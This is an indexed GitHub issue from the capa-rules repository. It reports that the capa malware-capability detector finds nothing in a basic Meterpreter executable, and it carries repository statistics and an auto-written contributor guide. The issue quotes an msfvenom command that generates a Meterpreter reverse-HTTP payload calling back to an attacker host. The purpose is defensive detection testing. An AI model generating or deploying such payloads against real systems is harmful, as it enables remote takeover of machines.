mandiant / mandiant/capa-rules
Capa not detecting basic meterpreter exe - no capabilities found
- Dominant language
- No language data
- Stars
- 736
- Forks
- 245
- Avg merge
- 4d 53m
- Merged PRs (30d)
- 2
Description
Hi there, running the latest cape build, and when scanning a simple meterpreter exe - it finds nothing (see screenshots). payload generated with "msfvenom -p windows/x64/meterpreter/reverse_http -a x64 LHOST=kali.local LPORT=80 -f exe > met64http.exe".
Using the standalone capa.exe :

Contributor guide
Research direction
Start by reproducing the scan with the standalone capa.exe using the meterpreter executable generated by the msfvenom command in the issue. Inspect the reported capabilities and compare them with the expected meterpreter behavior; done should include a clear diagnosis and a verified fix or documented reason why no capabilities are detected.
Written by the indexing model from the issue text.
Assessment
- Domain
- reverse-engineering, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Needs clarification
- Newbie friendliness
- 25/100